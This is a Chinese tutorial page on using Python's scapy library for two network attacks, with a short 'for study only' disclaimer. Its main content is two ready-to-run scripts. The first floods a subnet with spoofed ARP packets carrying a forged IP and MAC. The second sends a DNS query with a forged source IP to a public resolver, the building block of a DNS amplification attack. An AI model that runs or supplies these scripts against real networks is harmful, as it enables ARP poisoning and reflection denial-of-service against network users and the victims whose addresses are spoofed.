发布于 2014-11-27 12:36:31 | 615 次阅读 | 评论: 0 | 来源: 网友投递

这里有新鲜出炉的Python多线程编程,程序狗速度看过来!

Python编程语言

Python 是一种面向对象、解释型计算机程序设计语言,由Guido van Rossum于1989年底发明,第一个公开发行版发行于1991年。Python语法简洁而清晰,具有丰富和强大的类库。它常被昵称为胶水语言,它能够把用其他语言制作的各种模块(尤其是C/C++)很轻松地联结在一起。


本文为大家讲解了Python中如何使用scapy模拟数据包实现arp攻击、dns放大攻击例子,本文重点在于scapy有使用上,请勿用于非法用处,仅供学习参考,需要的朋友可以参考下

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。


#!/usr/bin/python
"""
ARP attack
"""
import sys, os
from scapy.all import *
if os.geteuid() != 0:
    print "This program must be run as root. Aborting."
    sys.exit()

 

if len(sys.argv) < 2:
    print "Pkease Use %s x.x.x" % (sys.argv[0])
    exit()
attackIP = sys.argv[1] + ".0/24"
srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

 

dns放大攻击


#coding:utf-8
from scapy import *
from scapy.all import *

 

a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)
~

 



相关阅读 :
Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子
python中使用pyhook实现键盘监控的例子
Python中使用装饰器和元编程实现结构体类实例
Python中使用socket发送HTTP请求数据接收不完整问题解决方法
Python中使用select模块实现非阻塞的IO
Python中使用PIL库实现图片高斯模糊实例
Python中使用摄像头实现简单的延时摄影技术方法
Python中使用语句导入模块或包的机制研究
在Python中使用NLTK库实现对词干的提取的教程
在Python中使用M2Crypto模块实现AES加密的教程
使用Python中的cookielib模拟登录网站的方法
Python中使用copy模块实现列表(list)拷贝
最新网友评论  共有(0)条评论 发布评论 返回顶部

Copyright © 2007-2017 PHPERZ.COM All Rights Reserved   冀ICP备14009818号  版权声明  广告服务